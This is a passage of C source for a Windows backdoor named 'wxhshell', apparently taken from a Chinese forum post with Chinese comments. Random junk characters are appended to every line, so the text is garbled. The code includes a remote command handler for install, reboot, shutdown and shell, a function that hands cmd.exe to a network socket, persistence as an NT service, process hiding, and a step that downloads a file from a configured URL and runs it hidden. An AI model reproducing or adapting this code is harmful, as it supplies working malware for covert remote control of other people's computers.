  } 5x";}Vp>P  
  else { P~Cx#`#(V  
d\Q~L 3x  
    switch(cmd[0]) { Qp9)Rc5  
  e)I-|Q4^%  
  // 帮助 A8bDg:G1i  
  case '?': { U#3Y3EdF<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~3YN;St-  
    break; 9z)p*+r UK  
  } Kts#e:k@  
  // 安装 KtWn08D!  
  case 'i': { te e  
    if(Install()) rv/O^aL`Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x| jBn}  
    else Qs(WyP#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )@"iWQ 3K  
    break; L~nVoKY*V  
    } xE+Nz5F  
  // 卸载 zqqu7.`  
  case 'r': { (7 i@ @  
    if(Uninstall()) ~V,~' W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ROZOX$XM  
    else wBr$3:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SM3Q29XIw  
    break; p-d2HXo  
    } CF|c4oY82  
  // 显示 wxhshell 所在路径 4{!7T  
  case 'p': { -8;@NAUa  
    char svExeFile[MAX_PATH]; r q2]u  
    strcpy(svExeFile,"\n\r"); {Vy2uow0  
      strcat(svExeFile,ExeFile); 0<3)K[m~H  
        send(wsh,svExeFile,strlen(svExeFile),0); YKF5|;}  
    break; H=2sT+Sp  
    } gJYB)LjH"  
  // 重启 ;9w: %c1  
  case 'b': { di^E8egR$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PGTi-o}  
    if(Boot(REBOOT)) {pEay|L_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m0I/X$-Cl5  
    else { \4;}S&`k  
    closesocket(wsh); G$b*N4yR  
    ExitThread(0); TiiMX  
    } MXy~kb&  
    break; GjDs,9@f  
    } sC ,[CN:b  
  // 关机 =7&2-'(@  
  case 'd': { w}*2Hz&Q!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  j6zZ! k  
    if(Boot(SHUTDOWN)) 1:2 t4}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ')ZM# :G  
    else { N%8O9Dp8;  
    closesocket(wsh); r`? bYoz  
    ExitThread(0); EJF*_<f9O  
    } (8bo"{zI  
    break; 1A>>#M=A  
    } "P4#Q_  
  // 获取shell fTn  
  case 's': { eBw6k09C+  
    CmdShell(wsh); ~`7L\'fs  
    closesocket(wsh); OMaG*fb=  
    ExitThread(0); :el]IH  
    break; N@Ie VF  
  } z)z_]c-X+  
  // 退出 6pyLb3[e  
  case 'x': { 9~AAdD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )_$F/ug  
    CloseIt(wsh); KW&5&~)2  
    break; Z_Tu* F  
    } B]):$#{Rxl  
  // 离开 Dwvd  
  case 'q': { ?V3kIb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x3dP`<   
    closesocket(wsh); Q?e]N I^  
    WSACleanup(); R?,Oh*  
    exit(1); e!+_U C  
    break; C_c*21X  
        } >5,nB<  
  } x  RV@ _  
  } ;QVX'?  
t)O8ON  
  // 提示信息 EX]LH({?+L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \YV`M3O  
} Vn4y^_H  
  } })zYo 7  
5e> <i  
  return; D_n(T ')  
} S"*M9*8  
1 uKWvp0\  
// shell模块句柄 @j|B1:O  
int CmdShell(SOCKET sock) 3_AVJv ;N  
{ p3sR>ToJ  
STARTUPINFO si; -+#QZ7b  
ZeroMemory(&si,sizeof(si)); }]i re2j8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  X`REhvT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5*Wo/%#q  
PROCESS_INFORMATION ProcessInfo; U{^~X_?  
char cmdline[]="cmd"; T B!z:n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,5tW|=0@  
  return 0; 4P1<Zi+<  
} n"p|tEK  
=TTk5(m  
// 自身启动模式 m2j&v$  
int StartFromService(void) Wr3).m52}P  
{ 5)IJ|"]y  
typedef struct L)0j&  
{ -F7GUB6B  
  DWORD ExitStatus; ]HpKDb0+  
  DWORD PebBaseAddress; ~M>EB6  
  DWORD AffinityMask; PNjZbOmzS  
  DWORD BasePriority; {C% #r@6  
  ULONG UniqueProcessId; 9>@@W#TK~  
  ULONG InheritedFromUniqueProcessId; o~ v   
}   PROCESS_BASIC_INFORMATION; 6}Iu~| 5  
UUE:>[,  
PROCNTQSIP NtQueryInformationProcess; c^4^z"Mo`  
|zJxR_)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \wyn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y,?!"  
CG`s@5y>5  
  HANDLE             hProcess; __F?iRrCM  
  PROCESS_BASIC_INFORMATION pbi; eU[f6OGqC  
f{} zqCK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @L p;p$G`  
  if(NULL == hInst ) return 0; 3 &aBU [  
/b$0).fj@,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V*$(Tt(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v#HaZT]u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hkK+BmMj\  
7wO0d/l_  
  if (!NtQueryInformationProcess) return 0; S:\a&+og  
k|O?qE1hP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5BztOYn,  
  if(!hProcess) return 0; 0n'~wz"wB  
r87)?-B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W(C\lSE0  
*%{  
  CloseHandle(hProcess); {*X8!P7C  
T)!$-qdz/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $?Et sf#*'  
if(hProcess==NULL) return 0; YY&3M  
3@d{C^\  
HMODULE hMod; !I 7bxDzK$  
char procName[255]; ,wI$O8"!j  
unsigned long cbNeeded; w6B'&  
IQ&o%   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $>72 g.B  
vP_V%5~yN  
  CloseHandle(hProcess); C4#EN}  
Ca&p;K9FR  
if(strstr(procName,"services")) return 1; // 以服务启动 B/iRR2h  
ZPM,ZGlu:  
  return 0; // 注册表启动 @,Re<%\  
} R5y+bMZ  
oicj3xkw?  
// 主模块 >N&C-6W  
int StartWxhshell(LPSTR lpCmdLine) ?|&plf |  
{ BQs~>}(V  
  SOCKET wsl; h-^7cHI}  
BOOL val=TRUE; &oA p[]  
  int port=0; D<.zdTo  
  struct sockaddr_in door; ndsu}:my  
75O-%9lFF  
  if(wscfg.ws_autoins) Install(); #ny&bJj  
#rE#lHo  
port=atoi(lpCmdLine); DeMF<)#  
HjX!a29Wf  
if(port<=0) port=wscfg.ws_port; *\UxdL 22  
c|kQ3(  
  WSADATA data; WWO@ULGY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]h Dy]  
c:a5pd7T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {29x5J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q ;@:,^  
  door.sin_family = AF_INET; k 5<[N2D|!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #4WA2EW  
  door.sin_port = htons(port); :%#(<@{  
Ik92='Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dIOj]5H3F  
closesocket(wsl); a ]PS`  
return 1; Jkc1ih`^  
} Kg#5 @;  
?pT\Ft V  
  if(listen(wsl,2) == INVALID_SOCKET) {  Ji>  
closesocket(wsl); m &U $V  
return 1; o9tvf|+z  
} -rEg(@S %  
  Wxhshell(wsl); t`"]"Re  
  WSACleanup(); `&)khxT/  
.] S{T  
return 0; UE3#(:x A  
F-^#EkEGe  
} ,oW8im   
 2Z ? N  
// 以NT服务方式启动 G 4jaHpPi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =Yxu {]G  
{ E&?z-,-o@  
DWORD   status = 0; iNTw;ov  
  DWORD   specificError = 0xfffffff; bd n{Y  
hBSci|*f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6j]pJ]F6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WSdTP$?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q( WE.ux)<  
  serviceStatus.dwWin32ExitCode     = 0; {y{& tz Z  
  serviceStatus.dwServiceSpecificExitCode = 0; EW* 's(  
  serviceStatus.dwCheckPoint       = 0; [6bK>w"v  
  serviceStatus.dwWaitHint       = 0; ]M"l-A  
]}g;q*!J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VfJbexYT  
  if (hServiceStatusHandle==0) return; Min^EAG@  
mUj=NRq  
status = GetLastError(); htn"rY(  
  if (status!=NO_ERROR) 1U"Fk3  
{ SX$Nef9p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1|za>N6[yu  
    serviceStatus.dwCheckPoint       = 0; 49o5"M(  
    serviceStatus.dwWaitHint       = 0; 0]dL;~0y.  
    serviceStatus.dwWin32ExitCode     = status; JRMe( ,u  
    serviceStatus.dwServiceSpecificExitCode = specificError; =[O;/~J%:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |%F[.9Dp  
    return; |[k/%  
  } G22= 8V  
3pSkk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q\H_lB  
  serviceStatus.dwCheckPoint       = 0; {DPobyvwFk  
  serviceStatus.dwWaitHint       = 0; LB<,(dyh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0Hz*L,Bh4  
} L< MIl[z7  
EwSE;R -  
// 处理NT服务事件,比如:启动、停止 c\.8hd=<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :*wnO;eN  
{ jk0Ja@8PK  
switch(fdwControl) C0\A  
{ AiXxn'&i  
case SERVICE_CONTROL_STOP: P^-tGo!  
  serviceStatus.dwWin32ExitCode = 0; SwESDo)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0K -jF5i$`  
  serviceStatus.dwCheckPoint   = 0; &n% 3rC5{  
  serviceStatus.dwWaitHint     = 0; `(|jm$Q  
  { Bc {#ia  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?#F}mOVAa  
  } tUXq!r<'dT  
  return; ,+0>p  
case SERVICE_CONTROL_PAUSE: Y'NQt?h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; anj*a<C<  
  break; . bh>_ W_h  
case SERVICE_CONTROL_CONTINUE: b 469  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hu .e@7  
  break; ~=5vc''  
case SERVICE_CONTROL_INTERROGATE: neGCMKtzlJ  
  break; {1^9*  
}; L]o 5=K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wq!n8O1  
} Y-%S,91O  
f`X#1w9  
// 标准应用程序主函数 *)c,~R^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g->cgExj  
{ P=K+!3ZXo  
A*I mruV  
// 获取操作系统版本 .!kqIx*3  
OsIsNt=GetOsVer(); |okS7.|IX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,c:Fa)-  
u 89u#gCAC  
  // 从命令行安装 P7n+@ L$  
  if(strpbrk(lpCmdLine,"iI")) Install(); CErkmod{}e  
f!}c0nb  
  // 下载执行文件 :%Dw3IrOM  
if(wscfg.ws_downexe) { h(hb?f@1:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `;L0ax  
  WinExec(wscfg.ws_filenam,SW_HIDE); W?m?r.K?  
} DXAA[hUjF  
:U`8s#  
if(!OsIsNt) { 6g@@V=mf  
// 如果时win9x,隐藏进程并且设置为注册表启动 [{F8+a^  
HideProc(); oLcOp.8h[  
StartWxhshell(lpCmdLine); L 6){wQ%c  
} hS4Ljyeg  
else +%%FT#ce  
  if(StartFromService()) NQ$tQ#chd  
  // 以服务方式启动 /IM5#M5~  
  StartServiceCtrlDispatcher(DispatchTable); sa8Sy&X"  
else ]p~QdUR(  
  // 普通方式启动 yi3@-  
  StartWxhshell(lpCmdLine); @>'.F<:P<  
K;2tY+I  
return 0; |5SYKA7CS  
}
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只看该作者 1 发表于: 2006-10-10
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